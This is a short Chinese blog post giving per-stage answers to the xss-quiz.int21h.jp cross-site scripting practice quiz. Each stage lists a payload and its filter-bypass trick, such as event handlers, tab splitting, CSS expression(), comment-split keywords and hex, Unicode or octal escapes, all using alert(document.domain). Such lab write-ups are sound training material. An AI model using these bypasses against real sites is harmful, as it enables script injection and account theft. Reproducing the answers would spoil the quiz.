xss

作者: 留白_bb77 | 来源:发表于2019-04-18 22:53 被阅读0次

https://xss-quiz.int21h.jp/

第一题<script>alert(document.domain);</script>

第二题"><script>alert(document.domain);</script>

第三题抓包,在第二个标签输入代码:alert(document.domain)

第四题抓包,在第三个”/>alert(document.domain)<”

第五题抓包,输入><scriPT>alert(document.domain)</scriPT>

第六题" onmouseover="alert(document.domain)

第七题onmouseover= alert(document.domain)双引号被编码,用空格

第八题javascript:alert(document.domain)

第九题需UTF-7编码,IE环境

第十题" onmouseover="alert(document.ddomainomain)双写

第十一题"><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十进制编码          %09也就是tab制表符,使用在单个标签之内,会被浏览器正确去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。后面测试发现%0a和%0d一样受到影响。

第十二题  ``onmouseover=alert(1)               <>"被过滤,根据提示可以知道x00-,x20,&lt;,>,",'都被过滤了,但是`还没被过滤,前提是IE,只有IE才有这个特性

第十三题提示style attribute,在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE

     aa:expression(onmouseover=function(){alert(document.domain)})

     还有一种:

     background-color:#f00;background:url("javascript:alert(document.domain);");

第十四题过滤了expression,url,eval,script,但是通过加入注释符可绕过:here:expre/**/ssion(onmouseover=function(){alert(document.domain)})

或者:here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));

第十五题换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

第十六题 把\\x 替换成了\\\\x,但是js编码又不止16进制,还有八进制,unicode编码

用unicode编码

\\u003cimg src=x onerror=alert(document.domain)\\u003e

八进制编码

\\74img src=x onerror=alert(document.domain)\\76

第十七题宽字节啥啥的,没搞懂

相关文章

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • test

    alert('xss')alert('xss') alert('xss')

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • 第三章 XSS 攻击

    要点 XSS 攻击 XSS 防护 一、 XSS攻击 XSS攻击 (Cross-Site Scripting,跨站脚...

  • XSS 与 CSRF 两种跨站攻击

    XSS XSS:跨站脚本(Cross-site scripting) XSS:脚本中的不速之客 XSS 全称“跨站...

  • 网络安全必学知识点之XSS漏洞

    xss漏洞小结 一、初识XSS 1、什么是XSS XSS全称跨站脚本(Cross Site Scripting),...

  • php常见的攻击

    一、跨站点脚本攻击(XSS) XSS介绍: XSS : 跨站脚本(cross site script) XSS是指...

  • XSS-CSRF的bvwa破解

    A-XSS-Reflected 一、XSS:(中级别) 测试payload:“ alert(“xss”) ”:测试...

网友评论

      本文标题:xss

      本文链接:https://www.haomeiwen.com/subject/ixfxgqtx.html